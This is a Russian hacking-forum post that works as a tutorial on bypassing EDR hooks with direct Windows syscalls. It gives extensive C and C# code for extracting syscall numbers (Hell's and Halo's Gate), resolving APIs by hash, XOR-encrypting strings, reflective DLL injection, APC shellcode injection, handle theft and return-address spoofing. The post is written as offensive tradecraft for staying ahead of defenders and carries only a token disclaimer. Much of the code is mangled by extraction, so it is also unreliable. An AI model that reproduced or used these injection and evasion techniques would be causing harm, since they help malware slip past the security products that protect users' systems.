HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Электроника и Фрикинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.01.2026, 23:40
xzotique
Новичок
Регистрация: 14.11.2025
Сообщений: 0
С нами: 263424

Репутация: 0
По умолчанию



Привет, античат . На этот материал у меня ушла не одна неделя... Было затронуто множество ранее неизвестных мне языков программирования и методик. Безумно рад поделиться с вами всем изученным и почитать ваше мнение в комментариях!

Сегодня разговор пойдёт не о очередном «малваре-невидимке» с гитхаба, который детектится через 5 минут после заливания на VT. Речь о фундаменте. О прямых системных вызовах (direct syscalls). Методике, которая из категории «магии для избранных» переходит в разряд must-have навыка для любого, кто устал от ложных срабатываний и хочет понять, как оно работает на уровне атомов. Не для скрипт-кидди, а для того, кто хочет держать в руках отвёртку, а не пластиковый нож.

Дисклеймер: Всё написанное ниже - для исследования легитимных продуктов безопасности, пентета, разработки защищённого софта и расширения кругозора. Не для разрушения. Мы здесь за знание, а не за хаос. Знание - нейтрально. Инструмент - нейтрален.
Твой выбор - нет.

1. Введение в ад: почему EDR вообще что-то видит?
Представь себе город (это твой процесс). В городе есть правила - API Windows (kernel32.dll, user32.dll). Чтобы попросить ядро (правительство) сделать что-то глобальное - выделить землю (память), построить дорогу (нить), нужно подать заявку. Ты идёшь в местную мэрию (ntdll.dll), пишешь заявление (формируешь аргументы в регистрах) и опускаешь его в ящик (выполняешь инструкцию syscall). Курьер (процессор) мгновенно доставляет его в правительство (ядро).

Теперь представим, что EDR - это коррумпированная охрана. Они не могут запретить тебе жить в городе, но они:
  1. Повесили камеры в мэрии (Userland Hooks). Каждый раз, когда ты приходишь за бланком NtCreateFile, охранник (хук) записывает, кто ты и что хочешь.
  2. Договорились с чиновниками внутри правительства (Kernel Callbacks). Когда твоё заявление приходит в ядро, срабатывает внутреннее уведомление: «Эй, парень хочет выделить память с правами на исполнение!».
  3. Прослушивают разговоры курьеров (ETW). Система логирования Windows сама по себе болтлива. EDR подписывается на эти события (как Microsoft-Windows-Threat-Intelligence) и получает детальные отчёты о каждом твоём шаге.
Традиционный малвар идёт в мэрию, берёт стандартный бланк, заполняет его и опускает в ящик. Его видят все камеры, о нём знают все чиновники.

Наша цель: Добыть чистый, неиспользованный бланк (найти адрес syscall-инструкции внутри ntdll), скопировать его форму (SSN), научиться заполнять его самостоятельно (формировать аргументы в регистрах), и опустить его в ящик, не заходя в саму мэрию. А ещё лучше - найти служебный вход (альтернативный syscall-гаджет) или подкупить курьера (уязвимость в ядре).

Ключевой момент: EDR хукает не сам системный вызов в ядре (это сложно и опасно), а переходники в userland - функции в ntdll.dll. Прямой syscall - это прыжок через голову этого переходника.

2. Syscall как философский камень.
В x64 мире системный вызов вызывается инструкцией syscall. Это не функция. Это дверь. У каждой двери номер - SSN (System Service Number). Этот номер - индекс в огромной таблице внутри ядра, которая говорит системе, какую именно функцию выполнить.

Где его взять?
Он жёстко зашит в тело каждой функции ntdll. Открой ntdll.dll в дизассемблере. Видишь что-то вроде?

Код:


Код:
NtCreateFile:
mov r10, rcx        ; Первый аргумент идёт в r10
mov eax, 55h        ; Вот он! SSN для NtCreateFile в этой версии Windows
    syscall
    ret
0x55 - это и есть SSN. Но вот незадача: он разный для каждой версии Windows. На Windows 10 1909 один, на Windows 11 22H2 - другой. Поэтому хардкодить - путь в ад.

Соглашение о вызовах (x64 fastcall):
  • Первые 4 аргумента идут в регистры: rcx, rdx, r8, r9.
  • Остальные аргументы пушатся в стек. Важно: Для прямого syscall ты должен сам, перед syscall, резервировать в стеке 32 байта («теньовое пространство» - shadow space) + место для остальных аргументов. И да, это головная боль.
  • mov r10, rcx - это обязательный ритуал. Ядро ожидает аргументы в r10 и rdx... почему? Так исторически сложилось.
  • Возвращаемое значение идёт в rax.
3. Классика жанра: Gates.
Вот мы и подошли к сердцу техники.

Hell's Gate (2016, исходно от ReWolf):
Идея гениальна в простоте:
  1. Загружаем копию ntdll.dll с диска (чистую, без хуков).
  2. Вручную парсим её PE-заголовки, находим экспорт NtCreateThreadEx.
  3. Дизассемблируем несколько байт начиная с адреса функции, чтобы извлечь SSN (тот самый mov eax, XX).
  4. Используем этот SSN в своём коде.
Проблема: EDR начали искать в памяти процессов такие «статичные» вызовы mov eax, 0xXX; syscall. Сигнатура.

Halo's Gate (развитие):
Авторы предложили гениальный трюк. Если в хукнутой функции ntdll в памяти инструкция syscall заменена на jmp [адрес_хука_EDR], то мы:
  1. Ищем инструкцию syscall перед началом функции.
  2. Или перепрыгиваем через jmp и ищем ret после syscall.

    Фактически, мы «скачем» по обрывкам кода, чтобы найти нетронутую пару mov eax, SSN; syscall. Это уже динамический поиск, устойчивый к простому сигнатурному детекту.
Tartarus Gate и подобные (продвинутый уровень):
Зачем вообще лезть в ntdll? SSN хранится в ядре, в KeServiceDescriptorTable (KSDT) или KeServiceDescriptorTableShadow (KSDTS). Если мы можем прочитать память ядра (через уязвимость, легитимный драйвер и т.д.), мы можем получить SSN напрямую из первоисточника. Это уже уровень королевской власти.

Практический кусок кода Hell's Gate-стиля (сильно упрощён):

C:


Код:
#include 
#include 
// Структура для хранения пары Syscall Number -> Адрес
typedef
struct
_SYSCALL_ENTRY
{
DWORD SSN
;
PVOID Address
;
}
SYSCALL_ENTRY
;
// Грубый поиск SSN по сигнатуре mov eax, [SSN] (байты B8 ?? ?? ?? ??)
DWORD
FindSSNFromBytes
(
PBYTE functionAddress
)
{
for
(
int
i
=
0
;
i

Ldr
;
PLIST_ENTRY ModuleList
=
&
Ldr
->
InMemoryOrderModuleList
;
PLIST_ENTRY ListEntry
=
ModuleList
->
Flink
;
PWSTR moduleName
=
NULL
;
while
(
ListEntry
!=
ModuleList
)
{
PLDR_DATA_TABLE_ENTRY Entry
=
CONTAINING_RECORD
(
ListEntry
,
LDR_DATA_TABLE_ENTRY
,
InMemoryOrderLinks
)
;
if
(
Entry
->
BaseDllName
.
Buffer
)
{
// Сравниваем имя модуля с "ntdll.dll"
// ... (опущено для краткости)
}
ListEntry
=
ListEntry
->
Flink
;
}
// 2. Парсим EAT (Export Address Table) найденного модуля, чтобы получить адрес функции
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
moduleBase
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
LPBYTE
)
moduleBase
+
dosHeader
->
e_lfanew
)
;
PIMAGE_EXPORT_DIRECTORY exportDir
=
(
PIMAGE_EXPORT_DIRECTORY
)
(
(
LPBYTE
)
moduleBase
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
)
;
PDWORD functions
=
(
PDWORD
)
(
(
LPBYTE
)
moduleBase
+
exportDir
->
AddressOfFunctions
)
;
PDWORD names
=
(
PDWORD
)
(
(
LPBYTE
)
moduleBase
+
exportDir
->
AddressOfNames
)
;
PWORD ordinals
=
(
PWORD
)
(
(
LPBYTE
)
moduleBase
+
exportDir
->
AddressOfNameOrdinals
)
;
// 3. Ищем нужное имя функции
for
(
DWORD i
=
0
;
i

NumberOfNames
;
i
++
)
{
PCHAR functionName
=
(
PCHAR
)
moduleBase
+
names
[
i
]
;
if
(
_stricmp
(
functionName
,
FunctionName
)
==
0
)
{
PBYTE functionAddress
=
(
PBYTE
)
moduleBase
+
functions
[
ordinals
[
i
]
]
;
// 4. Диссемблируем начало функции для извлечения SSN
return
ExtractSSNFromFunction
(
functionAddress
)
;
}
}
return
0
;
}
// Сама функция-обёртка для NtAllocateVirtualMemory
EXTERN_C NTSTATUS
NtAllocateVirtualMemory
(
_In_ HANDLE ProcessHandle
,
_Inout_
_At_
(
*
BaseAddress
,
_Readable_bytes_
(
*
RegionSize
)
_Writable_bytes_
(
*
RegionSize
)
_Post_readable_byte_
(
*
RegionSize
)
)
PVOID
*
BaseAddress
,
_In_ ULONG_PTR ZeroBits
,
_Inout_ PSIZE_T RegionSize
,
_In_ ULONG AllocationType
,
_In_ ULONG Protect
)
{
// Получаем SSN для текущей функции (кэшируется)
static
DWORD cachedSSN
=
0
;
if
(
cachedSSN
==
0
)
{
cachedSSN
=
GetSyscallNumber
(
"NtAllocateVirtualMemory"
)
;
}
// Ассемблерный код с правильным распределением аргументов
__asm
{
;
Подготовка аргументов в регистры
(
x64 fastcall
)
mov r10
,
rcx
;
Первый аргумент
(
ProcessHandle
)
->
r10
mov rcx
,
ProcessHandle
mov rdx
,
BaseAddress
mov r8
,
ZeroBits
mov r9
,
RegionSize
;
Аргументы после четвёртого идут в стек
;
AllocationType
(
5
-
й
)
mov rax
,
AllocationType
mov
[
rsp
+
32
]
,
rax
;
Protect
(
6
-
й
)
mov rax
,
Protect
mov
[
rsp
+
40
]
,
rax
;
Вызов
mov eax
,
cachedSSN
        syscall
        ret
}
}
Критические замечания по коду:
  1. GetSyscallNumber использует PEB для поиска ntdll.dll. Это уже лучше, чем GetModuleHandle, но всё ещё оставляет следы в памяти (поиск по имени модуля). Оптимальнее - хардкодить базовый адрес ntdll (он часто постоянный для одной версии ОС) или получать его через NtQueryInformationProcess с классом ProcessModuleInformation.
  2. ExtractSSNFromFunction - это упрощённый Hell's Gate. В реальности SysWhispers3 использует более сложную логику, похожую на Halo's Gate, с поиском syscall и движением вверх по коду.
  3. Кэширование SSN - хорошо, но статическая переменная в функции может быть проблемой для многопоточности. Лучше вынести кэш в глобальную структуру с синхронизацией.
Вывод: SysWhispers3 - отличный старт, но для продакшена его нужно дорабатывать. Особенно в части обфускации и поиска SSN.

4.5. DInvoke: Мощь и гибкость C#
DInvoke - это не просто библиотека для syscall, это целый арсенал для операций в памяти. Рассмотрим ключевые моменты.

Динамический вызов через делегаты (без P/Invoke):

C#:


Код:
using
System
;
using
System
.
Runtime
.
InteropServices
;
using
DInvoke
.
DynamicInvoke
;
public
class
SyscallsExample
{
// Делегат для NtAllocateVirtualMemory
[
UnmanagedFunctionPointer
(
CallingConvention
.
StdCall
)
]
delegate
NTSTATUS
NtAllocateVirtualMemoryDelegate
(
IntPtr
ProcessHandle
,
ref
IntPtr
BaseAddress
,
IntPtr
ZeroBits
,
ref
IntPtr
RegionSize
,
uint
AllocationType
,
uint
Protect
)
;
public
static
void
Execute
(
)
{
// 1. Получаем адрес NtAllocateVirtualMemory из ntdll.dll в памяти
IntPtr
ntdll
=
Generic
.
GetLoadedModuleAddress
(
"ntdll.dll"
)
;
IntPtr
funcAddr
=
Generic
.
GetExportAddress
(
ntdll
,
"NtAllocateVirtualMemory"
)
;
// 2. Создаём делегат для вызова
NtAllocateVirtualMemoryDelegate
ntAllocateVirtualMemory
=
(
NtAllocateVirtualMemoryDelegate
)
Marshal
.
GetDelegateForFunctionPointer
(
funcAddr
,
typeof
(
NtAllocateVirtualMemoryDelegate
)
)
;
// 3. Вызываем функцию через делегат (это вызов через ntdll, но без статического P/Invoke)
IntPtr
baseAddress
=
IntPtr
.
Zero
;
IntPtr
regionSize
=
(
IntPtr
)
0x1000
;
NTSTATUS
status
=
ntAllocateVirtualMemory
(
Process
.
GetCurrentProcess
(
)
.
Handle
,
ref
baseAddress
,
IntPtr
.
Zero
,
ref
regionSize
,
0x3000
,
// MEM_COMMIT | MEM_RESERVE
0x40
)
;
// PAGE_EXECUTE_READWRITE
if
(
status
==
NTSTATUS
.
Success
)
{
Console
.
WriteLine
(
$
"[+] Memory allocated at 0x{baseAddress.ToInt64():X}"
)
;
}
}
}
Прямые syscall через DInvoke:
Библиотека предоставляет класс Syscalls с готовыми методами, но они могут быть сигнатурными. Лучше использовать динамическую генерацию:

C#:


Код:
using
DInvoke
.
Syscalls
;
public
class
DirectSyscallExample
{
public
static
void
Execute
(
)
{
// Использование встроенного метода (использует технику, аналогичную SysWhispers)
var
result
=
Syscalls
.
NtAllocateVirtualMemory
(
Process
.
GetCurrentProcess
(
)
.
Handle
,
ref
baseAddress
,
IntPtr
.
Zero
,
ref
regionSize
,
0x3000
,
0x40
)
;
// Но лучше использовать свой собственный resolver SSN
// DInvoke позволяет подменить метод получения SSN
}
}
Сильные стороны DInvoke:
  • ManualMap: Загрузка DLL прямо из памяти (техника, известная как reflective DLL injection), без использования LoadLibrary.
  • Overload: Поддельные вызовы для обхода хуков (например, вызов NtWriteVirtualMemory через ZwWriteVirtualMemory с другими параметрами).
  • Парсинг PE-файлов: Утилиты для работы с заголовками PE, что полезно для ручного маппинга.
Пример ManualMap с DInvoke:

C#:


Код:
using
DInvoke
.
ManualMap
;
public
class
ManualMapExample
{
public
static
void
Execute
(
)
{
// 1. Читаем DLL с диска в байтовый массив
byte
[
]
dllBytes
=
File
.
ReadAllBytes
(
"mylib.dll"
)
;
// 2. Маппим DLL в память текущего процесса
var
mappedModule
=
Map
.
MapModuleToMemory
(
dllBytes
)
;
// 3. Получаем адрес экспортируемой функции
IntPtr
functionAddress
=
Generic
.
GetExportAddress
(
mappedModule
.
ModuleBase
,
"MyExport"
)
;
// 4. Создаём делегат и вызываем
// ...
}
}
Важно: ManualMap оставляет характерные следы в памяти (например, невыровненные регионы памяти с правами PAGE_EXECUTE_READWRITE). Продвинутые EDR (например, Elastic Endpoint) детектят это через дампы памяти.

4.6. Собственные решения: зачем и как
Когда вы пишете свой инструмент с нуля, вы контролируете каждый байт. Рассмотрим ключевые компоненты.

А. Поиск базового адреса ntdll.dll через PEB (без WinAPI):

C:


Код:
#include 
#include 
PVOID
GetNtdllBase
(
)
{
PPEB peb
=
(
PPEB
)
__readgsqword
(
0x60
)
;
// PEB для x64
PPEB_LDR_DATA ldr
=
peb
->
Ldr
;
PLIST_ENTRY moduleList
=
&
ldr
->
InMemoryOrderModuleList
;
PLIST_ENTRY listEntry
=
moduleList
->
Flink
;
while
(
listEntry
!=
moduleList
)
{
PLDR_DATA_TABLE_ENTRY entry
=
CONTAINING_RECORD
(
listEntry
,
LDR_DATA_TABLE_ENTRY
,
InMemoryOrderLinks
)
;
// Проверяем имя модуля
UNICODE_STRING ntdllName
;
RtlInitUnicodeString
(
&
ntdllName
,
L
"ntdll.dll"
)
;
if
(
RtlCompareUnicodeString
(
&
entry
->
BaseDllName
,
&
ntdllName
,
TRUE
)
==
0
)
{
return
entry
->
DllBase
;
}
listEntry
=
listEntry
->
Flink
;
}
return
NULL
;
}
Б. Парсинг PE и поиск экспорта по хэшу (чтобы не светить строки):

C:


Код:
DWORD
HashStringDjb2A
(
const
char
*
str
)
{
DWORD hash
=
5381
;
int
c
;
while
(
(
c
=
*
str
++
)
)
{
hash
=
(
(
hash

e_lfanew
)
;
PIMAGE_EXPORT_DIRECTORY exportDir
=
(
PIMAGE_EXPORT_DIRECTORY
)
(
(
PBYTE
)
moduleBase
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
)
;
PDWORD functions
=
(
PDWORD
)
(
(
PBYTE
)
moduleBase
+
exportDir
->
AddressOfFunctions
)
;
PDWORD names
=
(
PDWORD
)
(
(
PBYTE
)
moduleBase
+
exportDir
->
AddressOfNames
)
;
PWORD ordinals
=
(
PWORD
)
(
(
PBYTE
)
moduleBase
+
exportDir
->
AddressOfNameOrdinals
)
;
for
(
DWORD i
=
0
;
i

NumberOfNames
;
i
++
)
{
PCHAR functionName
=
(
PCHAR
)
moduleBase
+
names
[
i
]
;
DWORD functionHash
=
HashStringDjb2A
(
functionName
)
;
if
(
functionHash
==
targetHash
)
{
return
(
PBYTE
)
moduleBase
+
functions
[
ordinals
[
i
]
]
;
}
}
return
NULL
;
}
// Использование:
#define HASH_NTALLOCATEVIRTUALMEMORY 0x9122A2B3
// Предварительно вычисленный хэш
PVOID funcAddr
=
GetFunctionAddressByHash
(
ntdllBase
,
HASH_NTALLOCATEVIRTUALMEMORY
)
;
В. Извлечение SSN через Halo's Gate (улучшенная версия):

C:


Код:
DWORD
ExtractSSN
(
PVOID functionAddress
)
{
PBYTE p
=
(
PBYTE
)
functionAddress
;
// Ищем syscall (0F 05) или sysret (0F 07)
for
(
int
i
=
0
;
i

i
-
32
;
j
--
)
{
// Ищем в пределах 32 байт назад
if
(
p
[
j
]
==
0xB8
)
{
// mov eax, imm32
return
*
(
(
PDWORD
)
(
p
+
j
+
1
)
)
;
}
}
}
}
// Если не нашли, возможно, функция захукана (jmp на детектор)
// Ищем jmp (E9) или jmp [mem] (FF 25)
if
(
p
[
0
]
==
0xE9
||
(
p
[
0
]
==
0xFF
&&
p
[
1
]
==
0x25
)
)
{
// Вычисляем адрес перехода
PVOID jumpTarget
=
// ... (разбор jmp)
// Рекурсивно ищем SSN по новому адресу
return
ExtractSSN
(
jumpTarget
)
;
}
return
0
;
}
Г. Генерация shellcode с прямыми syscall на лету:

Иногда нужно, чтобы shellcode сам использовал прямые syscall. Для этого можно сгенерировать код в памяти.

C:


Код:
void
GenerateSyscallStub
(
DWORD ssn
,
PVOID stubBuffer
)
{
// Код для x64: mov r10, rcx; mov eax, SSN; syscall; ret
BYTE code
[
]
=
{
0x49
,
0x8B
,
0xD1
,
// mov r10, rcx (альтернатива: 0x4C, 0x8B, 0xD1)
0xB8
,
0x00
,
0x00
,
0x00
,
0x00
,
// mov eax, SSN
0x0F
,
0x05
,
// syscall
0xC3
// ret
}
;
// Вставляем SSN
*
(
(
PDWORD
)
(
code
+
4
)
)
=
ssn
;
// Копируем в буфер (который должен быть исполняемым)
memcpy
(
stubBuffer
,
code
,
sizeof
(
code
)
)
;
}
// Использование:
DWORD ssn
=
ExtractSSN
(
GetFunctionAddressByHash
(
ntdllBase
,
HASH_NTCREATETHREADEX
)
)
;
PVOID stub
=
VirtualAlloc
(
NULL
,
0x1000
,
MEM_COMMIT
,
PAGE_EXECUTE_READWRITE
)
;
GenerateSyscallStub
(
ssn
,
stub
)
;
// Теперь stub можно вызывать как функцию
typedef
NTSTATUS
(
*
NtCreateThreadExStub
)
(
.
.
.
)
;
NtCreateThreadExStub mySyscall
=
(
NtCreateThreadExStub
)
stub
;
mySyscall
(
.
.
.
)
;
Важно: Такой код легко детектируется сигнатурами (например, последовательностью B8 ?? ?? ?? ?? 0F 05 C3). Нужно обфусцировать: добавить NOP-ы, изменить порядок инструкций, использовать эквивалентные инструкции.

5. Готовим почву: как заставить это работать в реальной жизни. Продолжение.
5.5. Проблема аргументов: Шифрование и маскировка
Когда вы вызываете NtAllocateVirtualMemory с параметрами PAGE_EXECUTE_READWRITE и MEM_COMMIT | MEM_RESERVE, это красный флаг. Решение - разделить операцию и использовать менее подозрительные флаги на каждом этапе.

Пример разделённого выделения памяти:

C:


Код:
// 1. Выделяем память с правами PAGE_READWRITE (менее подозрительно)
status
=
NtAllocateVirtualMemory
(
hProcess
,
&
baseAddr
,
0
,
&
size
,
MEM_RESERVE
,
// Только резервируем, не коммитим
PAGE_READWRITE
)
;
// 2. Коммитим регион с теми же правами
SIZE_T commitSize
=
0x1000
;
status
=
NtAllocateVirtualMemory
(
hProcess
,
&
baseAddr
,
0
,
&
commitSize
,
MEM_COMMIT
,
// Теперь коммитим
PAGE_READWRITE
)
;
// 3. Меняем защиту на PAGE_EXECUTE_READ (или PAGE_EXECUTE_READWRITE, если нужно писать)
DWORD oldProtect
;
status
=
NtProtectVirtualMemory
(
hProcess
,
&
baseAddr
,
&
commitSize
,
PAGE_EXECUTE_READ
,
&
oldProtect
)
;
Это создаёт три syscall вместо одного, но каждый из них выглядит менее подозрительно.

5.6. Работа с Handle: кража и дублирование
Прямые syscall часто требуют передачи handle процесса или потока. Использование GetCurrentProcess() или OpenProcess с PROCESS_ALL_ACCESS подозрительно.

А. Кража handle из легитимного процесса:
Многие процессы имеют открытые handle к другим процессам (например, svchost.exe часто имеет handle к lsass.exe с ограниченными правами). Можно найти и скопировать такой handle.

C:


Код:
NTSTATUS
StealHandle
(
DWORD targetPid
,
PHANDLE stolenHandle
)
{
// 1. Получаем список всех handle в системе через NtQuerySystemInformation
// 2. Ищем handle типа Process с целевым PID
// 3. Дублируем handle через NtDuplicateObject
// 4. Возвращаем дубликат
}
Б. Создание handle с минимально необходимыми правами:
Вместо PROCESS_ALL_ACCESS используйте конкретные права:
  • PROCESS_VM_OPERATION для выделения/освобождения памяти
  • PROCESS_VM_WRITE для записи в память
  • PROCESS_VM_READ для чтения памяти
  • PROCESS_CREATE_THREAD для создания потока

C:


Код:
HANDLE
OpenProcessWithMinimalRights
(
DWORD pid
)
{
OBJECT_ATTRIBUTES oa
=
{
sizeof
(
oa
)
}
;
CLIENT_ID cid
=
{
(
HANDLE
)
pid
,
NULL
}
;
HANDLE hProcess
=
NULL
;
NTSTATUS status
=
NtOpenProcess
(
&
hProcess
,
PROCESS_VM_OPERATION
|
PROCESS_VM_WRITE
|
PROCESS_CREATE_THREAD
,
&
oa
,
&
cid
)
;
return
(
NT_SUCCESS
(
status
)
)
?
hProcess
:
NULL
;
}
5.7. Уход от детекта по цепочке вызовов
EDR анализируют последовательности syscall. Например, цепочка NtAllocateVirtualMemory -> NtWriteVirtualMemory -> NtCreateThreadEx является классической для инжектора.

Обфускация цепочки:
  1. Добавление мусорных вызовов: Вызывайте легитимные syscall между критичными операциями.

    C:


    Код:
    // Мусорный вызов
    SYSTEM_TIMEOFDAY_INFORMATION timeInfo
    ;
    NtQuerySystemInformation
    (
    SystemTimeOfDayInformation
    ,
    &
    timeInfo
    ,
    sizeof
    (
    timeInfo
    )
    ,
    NULL
    )
    ;
    // Критичный вызов
    NtAllocateVirtualMemory
    (
    .
    .
    .
    )
    ;
    // Ещё мусор
    ULONG debugFlag
    =
    0
    ;
    NtQueryInformationProcess
    (
    GetCurrentProcess
    (
    )
    ,
    ProcessDebugFlags
    ,
    &
    debugFlag
    ,
    sizeof
    (
    debugFlag
    )
    ,
    NULL
    )
    ;
  2. Изменение порядка: Например, сначала создайте поток в приостановленном состоянии, затем запишите в память, затем возобновите.
  3. Использование альтернативных методов: Вместо NtCreateThreadEx используйте NtQueueApcThread или RtlCreateUserThread.
6. Сборка Франкенштейна: от сисколла до шеллкода. Углубление.
6.1. Рефлексивная загрузка DLL через прямые syscall
Рефлексивная загрузка - это когда DLL загружает сама себя без помощи LoadLibrary. Это сложнее, но полностью скрыто от EDR.

Пошаговый алгоритм:

C:


Код:
NTSTATUS
ReflectiveDLLInject
(
HANDLE hProcess
,
PBYTE dllBuffer
,
SIZE_T dllSize
)
{
NTSTATUS status
=
STATUS_SUCCESS
;
PVOID remoteBase
=
NULL
;
SIZE_T regionSize
=
dllSize
;
HANDLE hThread
=
NULL
;
// 1. Выделяем память в целевом процессе
status
=
NtAllocateVirtualMemory
(
hProcess
,
&
remoteBase
,
0
,
&
regionSize
,
MEM_COMMIT
|
MEM_RESERVE
,
PAGE_EXECUTE_READWRITE
)
;
if
(
!
NT_SUCCESS
(
status
)
)
return
status
;
// 2. Копируем DLL в целевой процесс
SIZE_T bytesWritten
=
0
;
status
=
NtWriteVirtualMemory
(
hProcess
,
remoteBase
,
dllBuffer
,
dllSize
,
&
bytesWritten
)
;
if
(
!
NT_SUCCESS
(
status
)
)
{
NtFreeVirtualMemory
(
hProcess
,
&
remoteBase
,
&
regionSize
,
MEM_RELEASE
)
;
return
status
;
}
// 3. Вычисляем точку входа рефлексивного загрузчика
// Предположим, что DLL имеет экспорт "ReflectiveLoader"
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
remoteBase
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
PBYTE
)
remoteBase
+
dosHeader
->
e_lfanew
)
;
PIMAGE_EXPORT_DIRECTORY exportDir
=
(
PIMAGE_EXPORT_DIRECTORY
)
(
(
PBYTE
)
remoteBase
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
)
;
PDWORD functions
=
(
PDWORD
)
(
(
PBYTE
)
remoteBase
+
exportDir
->
AddressOfFunctions
)
;
PDWORD names
=
(
PDWORD
)
(
(
PBYTE
)
remoteBase
+
exportDir
->
AddressOfNames
)
;
PWORD ordinals
=
(
PWORD
)
(
(
PBYTE
)
remoteBase
+
exportDir
->
AddressOfNameOrdinals
)
;
PVOID reflectiveLoader
=
NULL
;
for
(
DWORD i
=
0
;
i

NumberOfNames
;
i
++
)
{
PCHAR functionName
=
(
PCHAR
)
remoteBase
+
names
[
i
]
;
if
(
strcmp
(
functionName
,
"ReflectiveLoader"
)
==
0
)
{
reflectiveLoader
=
(
PBYTE
)
remoteBase
+
functions
[
ordinals
[
i
]
]
;
break
;
}
}
if
(
!
reflectiveLoader
)
{
NtFreeVirtualMemory
(
hProcess
,
&
remoteBase
,
&
regionSize
,
MEM_RELEASE
)
;
return
STATUS_ENTRYPOINT_NOT_FOUND
;
}
// 4. Создаём удалённый поток, который запустит ReflectiveLoader
status
=
NtCreateThreadEx
(
&
hThread
,
THREAD_ALL_ACCESS
,
NULL
,
hProcess
,
reflectiveLoader
,
remoteBase
,
// Параметр для ReflectiveLoader (базовый адрес DLL)
0
,
// CREATE_SUSPENDED? 0 значит сразу запустить
0
,
0
,
0
,
NULL
)
;
// 5. Ждём завершения загрузки (опционально)
if
(
NT_SUCCESS
(
status
)
)
{
NtWaitForSingleObject
(
hThread
,
FALSE
,
NULL
)
;
NtClose
(
hThread
)
;
}
return
status
;
}
Проблемы:
  • ReflectiveLoader должен быть самодостаточным: не использовать импорты, работать только через прямые syscall.
  • Нужно обработать релокации, импорты, TLS-колбэки.
  • Современные EDR детектят рефлексивную загрузку по аномалиям в памяти (невыровненные регионы, смешанные права).
6.2. APC инжекция через NtQueueApcThread
Альтернатива созданию потока - использование APC (Asynchronous Procedure Call). Это может быть менее заметно.

C:


Код:
NTSTATUS
APCInject
(
HANDLE hProcess
,
HANDLE hThread
,
PVOID shellcode
,
SIZE_T shellcodeSize
)
{
// 1. Выделяем память в целевом процессе
PVOID remoteAddr
=
NULL
;
SIZE_T regionSize
=
shellcodeSize
;
NTSTATUS status
=
NtAllocateVirtualMemory
(
hProcess
,
&
remoteAddr
,
0
,
&
regionSize
,
MEM_COMMIT
|
MEM_RESERVE
,
PAGE_EXECUTE_READWRITE
)
;
// 2. Пишем шеллкод
status
=
NtWriteVirtualMemory
(
hProcess
,
remoteAddr
,
shellcode
,
shellcodeSize
,
NULL
)
;
// 3. Ставим APC в очередь к потоку
status
=
NtQueueApcThread
(
hThread
,
(
PKNORMAL_ROUTINE
)
remoteAddr
,
// APC-рутина
NULL
,
// Контекст
NULL
,
// Argument1
NULL
)
;
// Argument2
// 4. Поток выполнит APC при следующем переходе в alertable state
return
status
;
}
Особенности:
  • Поток должен быть в alertable state (например, вызвав SleepEx, WaitForSingleObjectEx и т.д.).
  • Если поток занят, APC может долго не выполняться.
  • Можно использовать NtTestAlert для принудительного выполнения APC.
Хочу добавить про сигнатуры в памяти. Современные EDR не только ищут последовательности инструкций, но и анализируют метаданные памяти. Например, если в твоём шеллкоде есть прямо в коде строки типа "kernel32.dll" или "CreateThread", они будут найдены даже если ты не используешь WinAPI.

Решение: шифровать все строки простым XOR на этапе компиляции, а в рантайме расшифровывать в стеке:

C:


Код:
// На этапе компиляции
#define ENC_STR(str) XORString(str, 0x55)
// В коде
char
encKernel
[
]
=
{
0x3e
,
0x3c
,
0x33
,
0x33
,
0x30
,
0x27
,
0x7e
,
0x72
,
0x72
,
0x7b
}
;
// "kernel32.dll" xor 0x55
char
kernel
[
20
]
;
XORDecrypt
(
encKernel
,
kernel
,
sizeof
(
encKernel
)
,
0x55
)
;
// Теперь kernel содержит "kernel32.dll"
Также важно затирать строки после использования
memset
(
kernel
,
0
,
sizeof
(
kernel
)
)
;
Теперь, когда у нас есть рабочий инструментарий, поговорим о том, как EDR учатся детектить прямые syscall, и как оставаться на шаг впереди. Это армейская игра в кошки-мышки, и мы - мыши с PhD по архитектуре x64.

7.1. Детект по аномалиям в потоке выполнения
Современные EDR используют hardware breakpoints и трассировку выполнения (Execution Tracing). Они могут отслеживать, откуда пришёл вызов syscall.

Проблема: Когда вы вызываете syscall из своего кода, регистр RIP (Instruction Pointer) указывает на область памяти, которая:
  1. Не принадлежит известному системному модулю (ntdll.dll).
  2. Часто находится в регионе с правами PAGE_EXECUTE_READWRITE (подозрительно само по себе).
  3. Не имеет правильной структуры функции (нет пролога mov r10, rcx, может отсутствовать эпилог).
Решение 1: Return Address Spoofing (подмена возвращаемого адреса)

Идея: сделать так, чтобы при входе в ядро, в стеке возврата лежал адрес внутри ntdll.dll. Это обманет детекты, которые проверяют цепочку вызовов.

C:


Код:
// Пример для x64 с использованием встроенного ассемблера
NTSTATUS
SpoofedNtAllocateVirtualMemory
(
HANDLE ProcessHandle
,
PVOID
*
BaseAddress
,
ULONG_PTR ZeroBits
,
PSIZE_T RegionSize
,
ULONG AllocationType
,
ULONG Protect
,
DWORD ssn
)
{
NTSTATUS status
=
0
;
PVOID fakeReturnAddress
=
GetAddressInsideNtdll
(
)
;
// Находим адрес ret внутри ntdll
__asm
{
// Сохраняем невольные регистры
push rbx
        push rsi
        push rdi
// Подготавливаем аргументы
mov r10
,
rcx
        mov rcx
,
ProcessHandle
        mov rdx
,
BaseAddress
        mov r8
,
ZeroBits
        mov r9
,
RegionSize
// Аргументы 5 и 6 в стек
mov rax
,
AllocationType
        mov
[
rsp
+
32
]
,
rax
        mov rax
,
Protect
        mov
[
rsp
+
40
]
,
rax
